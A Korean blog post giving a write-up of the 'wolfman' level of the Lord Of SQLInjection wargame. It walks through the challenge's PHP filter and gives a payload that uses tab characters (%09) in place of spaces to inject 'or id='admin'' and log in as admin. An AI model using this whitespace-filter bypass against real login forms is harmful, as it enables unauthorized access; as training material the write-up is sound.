김승현
[Lord Of SQLInjection] wolfman 5번 문제 write up 본문
문제는 이렇게 생겼다.
코드를 자세히 살펴보자.
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
제일 먼저 login을 했는지 체크함
db연결
필터링 목록
no hack 1. prob 2. _ 3. . 4. ( 5. ) no whitespace 1. 띄어쓰기 |
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
$query에 select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}' 저장
query : $query #<strong>태그는 강조하는 태그
result에 mysql에서 db, query에 대해 가져와서 저장
만약 sql의 id가 있다면 Hello [id의 값] 출력
만약 sql의 id가 admin이라면 wolfman 문제 해결
띄어쓰기, 즉 %20을 필터링하지만 %09(tap)은 하지 않기 때문에 이걸 사용해서 필터링을 우회해보자.
?pw='%09or%09id='admin'%23
위는 그냥 %20이 들어갈 자리에 그냥 %09를 넣은 간단한 내용이다.
그대로 입력해주면 간단하게 문제를 해결할 수 있다.
'Web > Lord Of Sql' 카테고리의 다른 글
[Lord Of SQLInjection] orge 7번 문제 write up (0) | 2023.03.14 |
---|---|
[Lord Of SQLInjection] darkelf 6번 문제 write up (0) | 2023.03.12 |
[Lord Of SQLInjection] orc 4번 문제 write up (0) | 2023.03.12 |
[Lord Of SQLInjection] goblin 3번 문제 write up (0) | 2023.03.05 |
[Lord Of SQLInjection] cobolt 2번 문제 write up (0) | 2023.03.05 |